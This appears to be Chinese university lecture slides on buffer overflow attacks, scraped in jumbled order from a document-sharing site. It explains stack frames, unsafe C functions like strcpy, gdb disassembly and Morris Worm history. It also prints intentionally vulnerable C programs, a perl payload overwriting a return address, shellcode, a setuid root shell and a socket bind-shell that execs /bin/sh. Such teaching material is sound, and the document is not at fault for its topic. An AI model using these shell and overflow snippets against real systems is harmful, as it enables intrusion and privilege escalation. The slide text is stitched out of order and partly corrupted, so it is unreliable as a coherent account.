缓冲区溢出

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
printf ("test,being hacked!!!\n"); }
❖ int main (int argc, char **argv) { char buf[10]; strcpy (buf, argv[1]); printf ("fun is at 0x%8x\n", (unsigned int) fun); return 0;
❖ 基于栈 ❖ 基于堆 ❖ 基于格式化字符串
Next
缓冲区溢出的原 理
典型的寄存器
❖ EIP:扩展指令指针,用于存放下一条指令 的地址。
❖ EBP:扩展基指针,用于指向基本基栈的 信息。
❖ ESP:扩展堆栈指针。指向堆栈的当前位 置,允许push和pop操作等对堆栈中内容添 加和删除。
典型的堆栈帧结构
❖ printf("the address of foo is 0x%8x\n", (unsigned int)foo);
❖ return 0;
❖}
远程缓冲区漏洞利用
❖ 利用shellcode与套接口socket 初始化套接口sockfd new = accpet(sockfd, NULL, 0); dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); execl(“/bin/sh”, “sh”, NULL);
有关缓冲区溢出的数据
❖ 1998年Lincoln实验室用来评估入侵检测的的5种 远程攻击中,有2种是缓冲区溢出。
❖ 1998年CERT的13份建议中,有9份是与缓冲区 溢出有关的;1999年,至少有半数的建议是和缓 冲区溢出有关的。
❖ 在Bugtraq的调查中,有2/3的被调查者认为缓冲 区溢出漏洞是一个很严重的安全问题。
❖ int bof() { char buffer[4]; strcpy(buffer, “AAAAAAAAAAAA”);
} int main(int argc, char **argv) {
bof();
printf(“Not gonnSaedgomit!e\nn”)t;ation fault
return 1; }
chmod u+s shellcode
❖ setuid (0);
❖ execve (name[0], name, 0);
❖ exit (0);
❖}
❖ int main (int argc, char **argv) {
char buffer[10];
❖ strcpy(buffer, argv[1]);
为什么会缓冲区溢出
❖ 在C语言中,指针和数组越界不保护是 Buffer overflow的根源。
❖ 在C语言标准库中就有许多能提供溢出的函 数,如strcat(), strcpy(), sprintf(), gets()和 scanf()。
❖ 通过指针填充数据 ❖ 不好的编程习惯
缓冲区溢出的分类
利用缓冲区溢出漏洞的攻击
❖ 随便往缓冲区中填东西造成它溢出一般只会出现 “分段错误”(Segmentation fault),而不能 达到攻击的目的。
❖ 如果覆盖缓冲区的是一段精心设计的机器指令序 列,它可能通过溢出,改变返回地址,将其指向 自己的指令序列,从而改变该程序的正常流程。
可利用的堆栈溢出 ❖ void fun () { example3
(gdb) disass function
❖ 0x08048334 <function+0>: ❖ 0x08048335 <function+1>: ❖ 0x08048337 <function+3>:
push %ebp mov %esp,%ebp sub $0x28,%esp
展示堆栈的示例
(gdb) i reg v ebp v esp
❖ 函数调用时所建立的栈帧包含了下面的信息:
i) 为被调用函数的参数分配的空间 ii) 函数的返回地址. iii) 调用函数的栈帧信息, 即栈顶和栈底. iv) 为函数的局部变量分配的空间
源自文库型的堆栈帧结构
展示堆栈的示例 example1
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10];
0xbffd0f5c 0xbffd0f34
examp3 le1
2 1
(gdb) print /x &buffer1 v 0xbffd0f44 (gdb) print /x &buffer2 v 0xbffd0f34
RET 0x08048363 主函数的基栈帧
buffer1
buffer2
没有受到控制的堆栈溢出 Example2
SHELLCODE
Shellcode是汇编语言的二进制形式
“\x33\xc0”
xorl %eax, %eax
}
perl -e 'print "\x41"x28 . "\xa0\x83\x04\x08" '
一个有root权限的shell
❖ void foo () { ❖ char *name[2]; ❖ name[0] = "/bin/sh"; ❖ name[1] = 0;
chown root.root shellcode
}
void main() { function(1,2,3);
}
展示堆栈的示例 example1
(gdb) disass main
❖ 0x08048358 <main+28>: push $0x3 ❖ 0x0804835a <main+30>: push $0x2 ❖ 0x0804835c <main+32>: push $0x1 ❖ 0x0804835e <main+34>: call 0x8048334 <function> ❖ 0x08048363 <main+39>: add $0xc,%esp
基本问题
❖ 缓冲区溢出:向一个有限空间的缓冲区拷贝了过长 的字符串,覆盖相邻的存储单元,会引起程序运行 异常。
❖ 历史上最著名的例子是:1988 年,因特网蠕虫 Morris Worm利用UNIX系统中finger程序的缓冲区 溢出漏洞,获得访问权限,得到了一个shell,感染 了因特网中的数万台机器,给用户带来了很大危害。
相关文档
最新文档